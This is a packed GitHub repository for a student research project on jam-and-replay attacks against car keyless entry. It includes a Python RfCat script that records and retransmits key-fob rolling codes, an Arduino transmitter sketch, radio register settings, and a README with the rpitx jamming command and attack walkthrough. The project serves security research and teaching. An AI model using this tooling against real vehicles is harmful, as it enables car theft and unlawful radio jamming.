├── img ├── rke.png ├── sdr.png ├── inspectrum.png ├── raspi_setup.png ├── rke_attack.png ├── signal_data.png ├── initial_recon.png ├── wave_converter.png └── automated_decoding.png ├── samples ├── Sample_recorded_key.wav └── Capture.grc ├── LICENSE ├── CC1101 ├── Simpliciti_registers.h └── Simpliciti_HTMLALL_Registers.html ├── RecordReplay.py ├── old └── SS_Test_Old.ino └── README.md /img/rke.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/rke.png -------------------------------------------------------------------------------- /img/sdr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/sdr.png -------------------------------------------------------------------------------- /img/inspectrum.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/inspectrum.png -------------------------------------------------------------------------------- /img/raspi_setup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/raspi_setup.png -------------------------------------------------------------------------------- /img/rke_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/rke_attack.png -------------------------------------------------------------------------------- /img/signal_data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/signal_data.png -------------------------------------------------------------------------------- /img/initial_recon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/initial_recon.png -------------------------------------------------------------------------------- /img/wave_converter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/wave_converter.png -------------------------------------------------------------------------------- /img/automated_decoding.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/img/automated_decoding.png -------------------------------------------------------------------------------- /samples/Sample_recorded_key.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trishmapow/rf-jam-replay/HEAD/samples/Sample_recorded_key.wav -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Christopher Malau 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /CC1101/Simpliciti_registers.h: -------------------------------------------------------------------------------- 1 | /*************************************************************** 2 | * SmartRF Studio(tm) Export 3 | * 4 | * Radio register settings specifed with C-code 5 | * compatible #define statements. 6 | * 7 | * RF device: CC1101 8 | * 9 | ***************************************************************/ 10 | 11 | #ifndef SMARTRF_CC1101_H 12 | #define SMARTRF_CC1101_H 13 | 14 | #define SMARTRF_RADIO_CC1101 15 | #define SMARTRF_SETTING_IOCFG0 0x06 16 | #define SMARTRF_SETTING_FIFOTHR 0x47 17 | #define SMARTRF_SETTING_PKTCTRL0 0x05 18 | #define SMARTRF_SETTING_FSCTRL1 0x06 19 | #define SMARTRF_SETTING_FREQ2 0x10 20 | #define SMARTRF_SETTING_FREQ1 0xB0 21 | #define SMARTRF_SETTING_FREQ0 0x5A 22 | #define SMARTRF_SETTING_MDMCFG4 0xF9 23 | #define SMARTRF_SETTING_MDMCFG3 0x68 24 | #define SMARTRF_SETTING_MDMCFG2 0x03 25 | #define SMARTRF_SETTING_DEVIATN 0x44 26 | #define SMARTRF_SETTING_MCSM0 0x18 27 | #define SMARTRF_SETTING_FOCCFG 0x16 28 | #define SMARTRF_SETTING_WORCTRL 0xFB 29 | #define SMARTRF_SETTING_FSCAL3 0xE9 30 | #define SMARTRF_SETTING_FSCAL2 0x2A 31 | #define SMARTRF_SETTING_FSCAL1 0x00 32 | #define SMARTRF_SETTING_FSCAL0 0x1F 33 | #define SMARTRF_SETTING_TEST2 0x81 34 | #define SMARTRF_SETTING_TEST1 0x35 35 | #define SMARTRF_SETTING_TEST0 0x09 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /RecordReplay.py: -------------------------------------------------------------------------------- 1 | """ 2 | By Chris (trishmapow) purely for research purposes/fun. 3 | """ 4 | 5 | from rflib import * 6 | import sys 7 | import bitstring 8 | import time 9 | 10 | def init(device): 11 | device.setFreq(433911000) #433.911MHz 12 | device.setMdmModulation(MOD_2FSK) #2FSK modulation 13 | device.setMdmDeviatn(37500) #39.5kHz deviation, now 37.5 14 | device.setMdmDRate(4111) #4k baud 15 | device.setMdmChanBW(125000) #125k channel bandwidth 16 | device.setMdmChanSpc(200000) 17 | #device.setPktPQT(0) #Disable preamble quality threshold 18 | 19 | device.setMdmNumPreamble(255) #Number of preamble symbols, 255 max, regularly 112 20 | 21 | """ENABLE THIS TO FILTER""" 22 | device.setMdmSyncMode(1) #What is this? 23 | #device.setMdmSyncMode(0) 24 | #device.setMdmSyncWord(0xaaaa) 25 | device.setMdmSyncWord(0xcccc) #Sync word 26 | 27 | #device.setMdmNumPreamble(0) 28 | device.setMaxPower() 29 | device.makePktFLEN(100) #400 binary symbols, ref. inspectrum 30 | #device.lowball(0) #More garbage 31 | 32 | codes = [] 33 | 34 | def rx(device): 35 | print d.reprRadioConfig() 36 | 37 | while not keystop(): 38 | try: 39 | pkt, ts = device.RFrecv() 40 | hxval = pkt.encode('hex') 41 | print "Received: %s" % hxval 42 | codes.append(hxval) 43 | except ChipconUsbTimeoutException: 44 | pass 45 | 46 | sys.stdin.read(1) 47 | 48 | def replay(device): 49 | for code in codes: 50 | codeb = bitstring.BitArray(hex=code).tobytes() 51 | print str(codeb) 52 | device.RFxmit(codeb) 53 | time.sleep(1) 54 | 55 | def mreplay(device, data): 56 | device.RFxmit(data) 57 | 58 | """CREDITS: http://labs.inguardians.com/radio-communication-analysis-using-rfcat/""" 59 | def str2hex(data): 60 | tmp = "" 61 | for e in range(0,len(data),2): 62 | tmp += data[e:e+2].decode('hex_codec') 63 | print tmp 64 | return tmp 65 | 66 | def cls(): 67 | codes = [] 68 | -------------------------------------------------------------------------------- /old/SS_Test_Old.ino: -------------------------------------------------------------------------------- 1 | #include "EEPROM.h" 2 | #include "cc1101.h" 3 | 4 | #define LEDOUTPUT 13 5 | 6 | CC1101 cc1101; 7 | 8 | void blinker(){ 9 | digitalWrite(LEDOUTPUT, HIGH); 10 | delay(100); 11 | digitalWrite(LEDOUTPUT, LOW); 12 | delay(100); 13 | } 14 | 15 | void setup(){ 16 | Serial.begin(9600); 17 | Serial.println("Started"); 18 | 19 | //BLINKER SETUP 20 | pinMode(LEDOUTPUT, OUTPUT); 21 | digitalWrite(LEDOUTPUT, LOW); 22 | blinker(); 23 | 24 | cc1101.init(); 25 | 26 | //FROM SIMPLICITI SETTINGS 27 | cc1101.writeReg(CC1101_IOCFG0, 0x06); 28 | cc1101.writeReg(CC1101_FIFOTHR, 0x47); 29 | cc1101.writeReg(CC1101_PKTCTRL0, 0x05); 30 | cc1101.writeReg(CC1101_FSCTRL1, 0x06); 31 | cc1101.writeReg(CC1101_FREQ2, 0x10); 32 | cc1101.writeReg(CC1101_FREQ1, 0xB0); 33 | cc1101.writeReg(CC1101_FREQ0, 0x5A); 34 | cc1101.writeReg(CC1101_MDMCFG4, 0x87); 35 | cc1101.writeReg(CC1101_MDMCFG3, 0x50); 36 | cc1101.writeReg(CC1101_MDMCFG2, 0x03); 37 | cc1101.writeReg(CC1101_DEVIATN, 0x44); 38 | cc1101.writeReg(CC1101_MCSM0, 0x18); 39 | cc1101.writeReg(CC1101_FOCCFG, 0x16); 40 | cc1101.writeReg(CC1101_WORCTRL, 0xFB); 41 | cc1101.writeReg(CC1101_FSCAL3, 0xE9); 42 | cc1101.writeReg(CC1101_FSCAL2, 0x2A); 43 | cc1101.writeReg(CC1101_FSCAL1, 0x00); 44 | cc1101.writeReg(CC1101_TEST2, 0x81); 45 | cc1101.writeReg(CC1101_TEST1, 0x35); 46 | cc1101.writeReg(CC1101_TEST0, 0x09); 47 | 48 | cc1101.writeReg(CC1101_PATABLE, 0xC0); //SUPPOSED TO BE MAX OUTPUT 49 | 50 | cc1101.setTxPowerAmp(PA_LongDistance); 51 | 52 | byte PA_TABLE[]= {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0}; 53 | cc1101.writeBurstReg(CC1101_PATABLE,PA_TABLE,8); 54 | 55 | delay(1000); 56 | 57 | //PRINT DIAGOSTIC STUFF 58 | Serial.print("CC1101_PARTNUM "); //cc1101=0 59 | Serial.println(cc1101.readReg(CC1101_PARTNUM, CC1101_STATUS_REGISTER)); 60 | Serial.print("CC1101_VERSION "); //cc1101=4 61 | Serial.println(cc1101.readReg(CC1101_VERSION, CC1101_STATUS_REGISTER)); 62 | Serial.print("CC1101_MARCSTATE "); 63 | Serial.println(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER) & 0x1f); 64 | 65 | Serial.println("ALL REGISTERS SET"); 66 | } 67 | 68 | void send_data(){ 69 | CCPACKET data; 70 | data.length = 57; 71 | data.data[0] = 0b00000000; 72 | 73 | for (int i = 1; i < 40; i++){ 74 | data.data[i] = data.data[0]; 75 | } 76 | 77 | data.data[40] = 0b11110000; 78 | data.data[41] = 0b00001010; 79 | data.data[42] = 0b10101001; 80 | data.data[43] = 0b10110111; 81 | data.data[44] = 0b00100110; 82 | data.data[45] = 0b00011011; 83 | data.data[46] = 0b00010000; 84 | data.data[47] = 0b01010000; 85 | data.data[48] = 0b00000000; 86 | data.data[49] = 0b00001111; 87 | data.data[50] = 0b00000000; 88 | data.data[51] = 0b10101010; 89 | data.data[52] = 0b10011011; 90 | data.data[53] = 0b01110010; 91 | data.data[54] = 0b01100001; 92 | data.data[55] = 0b10110001; 93 | data.data[56] = 0b00000101; 94 | 95 | Serial.print("CC1101_MARCSTATE "); 96 | Serial.println(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER) & 0x1f); 97 | 98 | if (cc1101.sendData(data)) { 99 | Serial.println(" sent ok :)"); 100 | blinker(); 101 | } else { 102 | Serial.println("sent failed :("); 103 | blinker(); 104 | blinker(); 105 | } 106 | } 107 | 108 | void loop(){ 109 | send_data(); 110 | delay(2000); 111 | } 112 | -------------------------------------------------------------------------------- /CC1101/Simpliciti_HTMLALL_Registers.html: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 |
CC1101 registers
NameAddressValueDescription
IOCFG20x00000x29GDO2 Output Pin Configuration
IOCFG10x00010x2EGDO1 Output Pin Configuration
IOCFG00x00020x06GDO0 Output Pin Configuration
FIFOTHR0x00030x47RX FIFO and TX FIFO Thresholds
SYNC10x00040xD3Sync Word, High Byte
SYNC00x00050x91Sync Word, Low Byte
PKTLEN0x00060xFFPacket Length
PKTCTRL10x00070x04Packet Automation Control
PKTCTRL00x00080x05Packet Automation Control
ADDR0x00090x00Device Address
CHANNR0x000A0x00Channel Number
FSCTRL10x000B0x06Frequency Synthesizer Control
FSCTRL00x000C0x00Frequency Synthesizer Control
FREQ20x000D0x10Frequency Control Word, High Byte
FREQ10x000E0xB0Frequency Control Word, Middle Byte
FREQ00x000F0x5AFrequency Control Word, Low Byte
MDMCFG40x00100xF9Modem Configuration
MDMCFG30x00110x68Modem Configuration
MDMCFG20x00120x03Modem Configuration
MDMCFG10x00130x22Modem Configuration
MDMCFG00x00140xF8Modem Configuration
DEVIATN0x00150x44Modem Deviation Setting
MCSM20x00160x07Main Radio Control State Machine Configuration
MCSM10x00170x30Main Radio Control State Machine Configuration
MCSM00x00180x18Main Radio Control State Machine Configuration
FOCCFG0x00190x16Frequency Offset Compensation Configuration
BSCFG0x001A0x6CBit Synchronization Configuration
AGCCTRL20x001B0x03AGC Control
AGCCTRL10x001C0x40AGC Control
AGCCTRL00x001D0x91AGC Control
WOREVT10x001E0x87High Byte Event0 Timeout
WOREVT00x001F0x6BLow Byte Event0 Timeout
WORCTRL0x00200xFBWake On Radio Control
FREND10x00210x56Front End RX Configuration
FREND00x00220x10Front End TX Configuration
FSCAL30x00230xE9Frequency Synthesizer Calibration
FSCAL20x00240x2AFrequency Synthesizer Calibration
FSCAL10x00250x00Frequency Synthesizer Calibration
FSCAL00x00260x1FFrequency Synthesizer Calibration
RCCTRL10x00270x41RC Oscillator Configuration
RCCTRL00x00280x00RC Oscillator Configuration
FSTEST0x00290x59Frequency Synthesizer Calibration Control
PTEST0x002A0x7FProduction Test
AGCTEST0x002B0x3FAGC Test
TEST20x002C0x81Various Test Settings
TEST10x002D0x35Various Test Settings
TEST00x002E0x09Various Test Settings
PARTNUM0x00300x00Chip ID
VERSION0x00310x04Chip ID
FREQEST0x00320x00Frequency Offset Estimate from Demodulator
LQI0x00330x00Demodulator Estimate for Link Quality
RSSI0x00340x00Received Signal Strength Indication
MARCSTATE0x00350x00Main Radio Control State Machine State
WORTIME10x00360x00High Byte of WOR Time
WORTIME00x00370x00Low Byte of WOR Time
PKTSTATUS0x00380x00Current GDOx Status and Packet Status
VCO_VC_DAC0x00390x00Current Setting from PLL Calibration Module
TXBYTES0x003A0x00Underflow and Number of Bytes
RXBYTES0x003B0x00Overflow and Number of Bytes
RCCTRL1_STATUS0x003C0x00Last RC Oscillator Calibration Result
RCCTRL0_STATUS0x003D0x00Last RC Oscillator Calibration Result
74 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Media 2 | [RyscCorp Students post](https://store.ryscc.com/blogs/rysc-students/christopher-queensland-academy-for-science-mathematics-and-technology) 3 | 4 | [RTL-SDR Blog post](https://www.rtl-sdr.com/explaining-and-demonstrating-jam-and-replay-attacks-on-keyless-entry-systems-with-rtl-sdr-rpitx-and-a-yardstick-one/) 5 | 6 | [Cafe Scientifique QUT 2017](https://qasmt.eq.edu.au/qut-cafe-scientifique-2017/) 7 | 8 | [Short unnarrated video of capture](https://www.youtube.com/watch?v=VFLYEQ_u7Mc) 9 | 10 | # Jam and Replay Attack on Vehicular Keyless Entry Systems 11 | #### Raspberry Pi version 12 | 13 | Item | Price in AUD (store) 14 | -----|-------------------- 15 | Raspberry Pi 2 Model B | $50 (element14) 16 | Yard Stick One RF dongle | $130 (NooElec) 17 | Power bank | <$30 (eBay) 18 | Wire for antenna | <$1 (any short piece of copper wire) 19 | (optional) Wi-Fi adapter | $15 (AliExpress) 20 | **Total** | **$211 ($226 with Wi-Fi adapter)** 21 | 22 | #### Arduino version 23 | Item | Price in AUD (store) 24 | -----|-------------------- 25 | Arduino Pro Mini |$3 (eBay) 26 | CC1101 RF transceiver| $6 (eBay) 27 | Breadboard |$3 (eBay) 28 | Hook-up wire |$3 (eBay) 29 | FTDI (one-time use for programming) |$5 (eBay) 30 | **Total** |**$20** 31 | 32 | **Following is an extract of the paper written. It is aimed as a basic overview for those getting started in RF and does not go into much detail. If any RF experts spot errors, please let me know!** 33 | 34 | ## Background of Keyless Entry Systems 35 | 36 | A remote keyless entry system simply refers to any electronic lock that functions without the use of a mechanical key. Commonly, this comes in the form of a key fob, with buttons that communicate using radio frequency (RF) signals with a receiver to perform a certain action, such as locking or unlocking a vehicle. 37 | 38 | ### Types of Remote Keyless Entry 39 | Keyless entry systems can be categorised into three broad types, as seen below. 40 | 41 | ![Keyless Entry Systems](img/rke.png) 42 | 43 | *Figure 1: One-way, two-way & passive RKE illustration* 44 | 45 | 1. A one-way RKE requires a manual button press to perform an action. The vehicle receives the signal and confirms that it is a valid code, then performs the required action. With a rolling code system, a cryptographically secure pseudorandom number generator (PRNG), installed in the vehicle and the key fob, is used to periodically change the required code after a keypress, usually with a buffer to account for accidental out-of-range button presses. One-way RKEs are the simplest and most common form of keyless entry, and its security will be the focus of this report (van de Moosdijk & Visser, 2009, pp. 8-9). 46 | 47 | 2. Two-way RKEs require a 'response' from the key fob given a certain 'challenge' from the vehicle (Alrabady & Mahmud, 2005, p. 2). 48 | 49 | 3. Passive RKEs (abbr. PKEs) automatically unlock within a certain radius or upon the user touching a door handle; they are usually paired with a push-button ignition switch (van de Moosdijk & Visser, 2009, p. 9). 50 | 51 | ## Proof-of-concept device 52 | ### Quick Intro to RF Hardware & Software 53 | Several new technologies have made RF security testing simpler and more affordable for hobbyists and researchers, the most important development being the software-defined radio. 54 | 55 | ![Software Defined Radio](img/sdr.png) 56 | 57 | *Figure 2: RTL-SDR used to analyse signal (RTL-SDR.com, 2013)* 58 | 59 | A software-defined radio is a radio system where components traditionally implemented in hardware, such as filters and demodulators, are instead implemented in software (Dillinger, Madani, & Alonistioti, 2003). The setup typically involves an RF front end and an analogue-to-digital converter, connected to a computer via USB. The computer performs the complex tasks, such as demodulation, which refers to extracting the original signal from a carrier wave. Recently, it was found that a common USB TV tuner dongle, the RTL-SDR (refer Figure 2), could be made to send raw I/Q data to a computer (in-phase and quadrature, referring to the real and imaginary components of an RF signal) (Whyte, 2013). Hence, it became affordable for the average hobbyist to have a wide-band spectrum analyser. At the time of writing, such a dongle could be obtained for less than 10 USD (eBay Inc., 2017). 60 | 61 | In addition, advances in computing hardware and software have allowed for complex signal analysis using graphical flow graph software, such as GNURadio, capable of manipulating, decoding and encoding data for use with software defined radios (The GNU Radio Foundation, Inc., 2017). Another important development is the popular Raspberry Pi single board computer, which for 35 USD offers a full Linux operating system running on a 900Mhz quad-core processor, 4 USB ports, display outputs and 40 general purpose input-output (GPIO) pins, which provides an easy-to-use, affordable testing base for the experimental jam and replay attack outlined below (Raspberry Pi Foundation, 2015). 62 | 63 | ### Overview of Jam and Replay Attack 64 | The attack that was carried out against the one-way RKE is a jam and replay attack. A high level overview and illustration of this attack is shown in Figure 3. 65 | 66 | ![RKE Attack](img/rke_attack.png) 67 | 68 | *Figure 3: Jam and replay attack* 69 | 70 | The attacker utilises a device with full-duplex RF capabilities (simultaneous transmit and receive) to produce a jamming signal, in order to prevent the car from receiving the valid code from the key fob. This is possible as RKEs are often designed with a receive band that is wider than the bandwidth of the key fob signal (refer Figure 3, right). The device simultaneously intercepts the rolling code by using a tighter receive band, and stores it for later use. When the user presses the key fob again, the device captures the second code, and transmits the first code, so that the user’s required action is performed (lock or unlock) (Kamkar, 2015). This results in the attacker possessing the next valid rolling code, providing them with access to the vehicle. The process can be repeated indefinitely by placing the device in the vicinity of the car. Note that if the user unlocks the car using the mechanical key after the first try, the second code capture is not required, and the first code can be used to unlock the vehicle. 71 | 72 | ### Initial Reconnaissance 73 | The first step in reverse engineering the key fob was to determine its operating frequency. The key fob case was inspected, however there were no visible frequencies or radio IDs listed that offered clues to the operating frequency. Hence, the RTL-SDR was utilised. Common unlicensed frequencies in the International Telecommunication Union Region 3, containing Australia, were tuned to and the key fob repeatedly pressed until a signal became visible on the fast Fourier transform (FFT) plot, which displays a live view of the RF spectrum (refer Figure 4, top half). The horizontal axis represents frequency in megahertz and the vertical axis the amplitude in decibels relative to full scale (dBFS). A waterfall plot is shown in the bottom half, which plots the FFT over time, with the colours representing signal amplitude (blue to red, in increasing signal strength). 74 | 75 | ![Initial Recon](img/initial_recon.png) 76 | 77 | *Figure 4: FFT plot of frequency versus signal strength showing key fob signal at 433.911MHz* 78 | 79 | ### Identifying Modulation 80 | As seen in Figure 4, there are two peaks at 433.878MHz and 433.957MHz, with the entire signal centred at 433.911MHz. Thus, it was deduced that the key fob used a modulation scheme known as 2-FSK (frequency shift keying), where two discrete frequencies are used to transfer digital data. However, the FFT plot does not provide information regarding how the data is actually encoded. 81 | 82 | ### Automated Decoding 83 | To further analyse the signal, a Debian setup was utilised, and the gqrx SDR receiver software used to record the key fob I/Q data. The data was passed to inspectrum, an open-source waveform analysis tool (Software in the Public Interest, Inc., 2017; Csete, 2016; Walters, 2017). 84 | A screenshot of the beginning of the signal is shown in Figure 5. 85 | 86 | ![Automated Decoding](img/automated_decoding.png) 87 | 88 | *Figure 5: Inspectrum signal analyser displaying preamble, sync-word and rolling code data* 89 | 90 | The vertical axis represents the frequency offset from the centre frequency (433.911MHz) in kHz, whilst the horizontal axis is time in seconds. As established, the signal visibly oscillates between two frequencies. The consistent, repetitive section of the signal on the left hand side of Figure 5 is the preamble, which is used to synchronise the clock of the receiver to correctly decode the transmitter’s packets. Following the preamble is a four-bit sync-word, which in this case is 1100110011001100, or 0xCCCC in hexadecimal. This sync-word is used to avoid clashes with other devices operating in that band. Following the sync-word is the actual rolling code signal, which is repeated twice, divided by a gap, seen in the far right of Figure 5. At first guess, the signal appears to be Manchester encoded, which means every bit (zero or one) is either encoded as high then low, or low then high, for the same period of time (refer Figure 6). 91 | 92 | ![Signal Data](img/signal_data.png) 93 | 94 | *Figure 6: Manchester encoding illustration (Wikimedia Commons, 2004)* 95 | 96 | Initially, the signal was decoded by manually capturing I/Q data from the RTL-SDR and using the open-source waveconverter project to demodulate the signal, and then decode it based on pulse lengths (technical details are omitted) (Clark, 2017). However, this process was very tedious and not easily scalable. The system had to be simplified to use dedicated hardware instead of a general purpose SDR. 97 | 98 | ### Jam and Replay Hardware 99 | To simplify the system, a Yard Stick One USB RF transceiver was used, that is capable of receiving and transmitting in various industrial, scientific and medical (ISM) unlicensed bands, including 433MHz, with wide support for modulations such as FSK, ASK (amplitude-shift keying) and OOK (on-off keying). The device was controlled using an interactive Python shell, which allows commands such as d.setMdmFreq(433900000) to be set, in this case setting the modem frequency to 433.9MHz. Further settings such as the modem modulation, frequency deviation, data rate (calculated using inspectrum), channel bandwidth, and packet sync mode were configured to match the key fob’s characteristics. 100 | 101 | ### Replaying Signal 102 | Upon running the Python script and pressing the key fob, data was consistently received, and there were slight deviations in each packet, confirming that the key fob utilised rolling code. I then wrote another function to transmit the signal, by converting the hexadecimal code to the correct BitArray format, and using the d.rfXmit() function. As expected, this unlocked the test automobile when run. 103 | 104 | ### Jamming Signal 105 | To create the jamming signal, the open-source [rpitx](https://github.com/F5OEO/rpitx) software was utilised, which is capable of transmitting RF signals via the Raspberry Pi’s GPIO pins. Specifically, the variable-frequency oscillator (VFO) mode was used, as it offers “precise frequency resolution” (Okcestbon, 2016). A carrier signal was transmitted at 433.850MHz, slightly below the operating frequency of the key fob, however within the automobile’s receive bandwidth. 106 | `sudo ./rpitx –m VFO –f 433850` 107 | 108 | ### Jam and Replay Attack 109 | The Python replay program was run simultaneously with rpitx, and resulted in the car not locking or unlocking. However, as expected, the signal was captured by the Yard Stick One, and could be replayed at any time to unlock the car. In the interest of responsible disclosure, photographic evidence of the device unlocking the vehicle will not be released as this could compromise the security of many vehicles still in use. 110 | 111 | At this point, the program was ported to a Raspberry Pi single-board computer as it is more portable and affordable compared to a dedicated laptop. A power bank was used to power the Raspberry Pi, and a long-range Wi-Fi dongle allowed communication via secure shell (SSH) from the laptop for initial configuration. An image of the final Raspberry Pi jam and replay setup is shown in Figure 7. 112 | 113 | ![Raspberry Pi Jam and Replay Setup](img/raspi_setup.png) 114 | 115 | *Figure 7: Photograph of final Raspberry Pi jam & replay setup showing connections to Wi-Fi, power and RF dongle* 116 | 117 | #### Possible Extension for Two-Way RKEs or PKEs 118 | The basic techniques applied here can be applied to more complex two-way or passive RKEs, using similar hardware. As an example, in a passive keyless entry system, the vehicle emits a low-frequency (LF) signal upon user interaction, such as touching the door handle, to alert all key fobs in the vicinity. The information transmitted via the LF signal is decoded by the key fob, which responds with a valid security code that is validated by the vehicle (Alrabady & Mahmud, 2005). 119 | 120 | A PKE system can be theoretically compromised by a jam and replay attack, however the algorithm for the “response” code given the “challenge” from the vehicle must be reverse-engineered. An even simpler ‘relay’ attack requires an attacker to stand near the vehicle and amplify the LF signals, then transmit this to another attacker who is within close range of the owner’s key fob. The valid response from the key fob can then be transmitted back to the first attacker to unlock the vehicle (Francillon, Danev, & Capkun, 2010). 121 | 122 | 123 | ## Old Readme 124 | **NOTE:** Not final code. Needs to be implemented for each model of vehicle. 125 | 126 | Attempt at RollJam, jam and replay keyless entry systems. Thank you to [Samy Kamkar](http://samy.pl/) who first provided me with the inspiration to perform software defined radio research, view his more polished RollJam device [here](https://www.wired.com/2015/08/hackers-tiny-device-unlocks-cars-opens-garages/). 127 | 128 | Uses GNURadio to record IQ data from an RTL-SDR then decodes with a custom protocol made on wave-converter and parses the output to return the hex data. 129 | 130 | Latest version utilises a [Yard Stick One RF Transceiver](https://greatscottgadgets.com/yardstickone/) with RFCat firmware approx $100USD. Thanks to [RyscCorp](https://ryscc.com/) for sponsoring my purchase. 131 | 132 | Will try to transfer register settings when testing is complete to a cheaper CC1101 chip/$1 433MHz chip and Arduino (about 50% done). 133 | 134 | Refer [waveconverter](https://github.com/paulgclark/waveconverter) and [GNURadio](http://gnuradio.org/) 135 | 136 | Further documentation will be uploaded ~~in a few months time~~soon, including a paper on implications and recommendations for manufacturers, end-users and third parties. 137 | 138 | ### Jamming 139 | Attach an antenna to pin 12 of the GPIO header. 140 | Note that output is unfiltered and creates harmonics, probably illegal without licence. 141 | `sudo ./rpitx -m VFO -f [FREQ IN HZ]` 142 | 143 | ### Screenshots 144 | **Inspectrum view of the I/Q taken from GNURadio** 145 | ![Screenshot 1](img/inspectrum.png "Inspectrum") 146 | **Wave Converter demod settings** 147 | ![Screenshot 2](img/wave_converter.png "Wave Converter") 148 | -------------------------------------------------------------------------------- /samples/Capture.grc: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sun Jan 8 15:58:55 2017 5 | 6 | options 7 | 8 | author 9 | 10 | 11 | 12 | window_size 13 | 14 | 15 | 16 | category 17 | [GRC Hier Blocks] 18 | 19 | 20 | comment 21 | 22 | 23 | 24 | description 25 | 26 | 27 | 28 | _enabled 29 | True 30 | 31 | 32 | _coordinate 33 | (8, 8) 34 | 35 | 36 | _rotation 37 | 0 38 | 39 | 40 | generate_options 41 | wx_gui 42 | 43 | 44 | hier_block_src_path 45 | .: 46 | 47 | 48 | id 49 | top_block 50 | 51 | 52 | max_nouts 53 | 0 54 | 55 | 56 | qt_qss_theme 57 | 58 | 59 | 60 | realtime_scheduling 61 | 62 | 63 | 64 | run_command 65 | {python} -u {filename} 66 | 67 | 68 | run_options 69 | prompt 70 | 71 | 72 | run 73 | True 74 | 75 | 76 | thread_safe_setters 77 | 78 | 79 | 80 | title 81 | 82 | 83 | 84 | 85 | variable 86 | 87 | comment 88 | 89 | 90 | 91 | _enabled 92 | True 93 | 94 | 95 | _coordinate 96 | (8, 160) 97 | 98 | 99 | _rotation 100 | 0 101 | 102 | 103 | id 104 | samp_rate 105 | 106 | 107 | value 108 | 40000 109 | 110 | 111 | 112 | blocks_complex_to_mag_squared 113 | 114 | alias 115 | 116 | 117 | 118 | comment 119 | 120 | 121 | 122 | affinity 123 | 124 | 125 | 126 | _enabled 127 | True 128 | 129 | 130 | _coordinate 131 | (304, 432) 132 | 133 | 134 | _rotation 135 | 0 136 | 137 | 138 | id 139 | blocks_complex_to_mag_squared_0 140 | 141 | 142 | maxoutbuf 143 | 0 144 | 145 | 146 | minoutbuf 147 | 0 148 | 149 | 150 | vlen 151 | 1 152 | 153 | 154 | 155 | blocks_file_sink 156 | 157 | append 158 | False 159 | 160 | 161 | alias 162 | 163 | 164 | 165 | comment 166 | 167 | 168 | 169 | affinity 170 | 171 | 172 | 173 | _enabled 174 | True 175 | 176 | 177 | file 178 | C:\Users\Christopher\Desktop\KEYS_1 179 | 180 | 181 | _coordinate 182 | (448, 316) 183 | 184 | 185 | _rotation 186 | 0 187 | 188 | 189 | id 190 | blocks_file_sink_0 191 | 192 | 193 | type 194 | complex 195 | 196 | 197 | unbuffered 198 | False 199 | 200 | 201 | vlen 202 | 1 203 | 204 | 205 | 206 | blocks_wavfile_sink 207 | 208 | bits_per_sample 209 | 8 210 | 211 | 212 | alias 213 | 214 | 215 | 216 | comment 217 | 218 | 219 | 220 | affinity 221 | 222 | 223 | 224 | _enabled 225 | True 226 | 227 | 228 | file 229 | C:\Users\Christopher\Desktop\KEYS_DIRECT_1.wav 230 | 231 | 232 | _coordinate 233 | (504, 412) 234 | 235 | 236 | _rotation 237 | 0 238 | 239 | 240 | id 241 | blocks_wavfile_sink_0 242 | 243 | 244 | nchan 245 | 1 246 | 247 | 248 | samp_rate 249 | samp_rate 250 | 251 | 252 | 253 | rtlsdr_source 254 | 255 | alias 256 | 257 | 258 | 259 | ant0 260 | 261 | 262 | 263 | bb_gain0 264 | 20 265 | 266 | 267 | bw0 268 | 40000 269 | 270 | 271 | dc_offset_mode0 272 | 0 273 | 274 | 275 | corr0 276 | 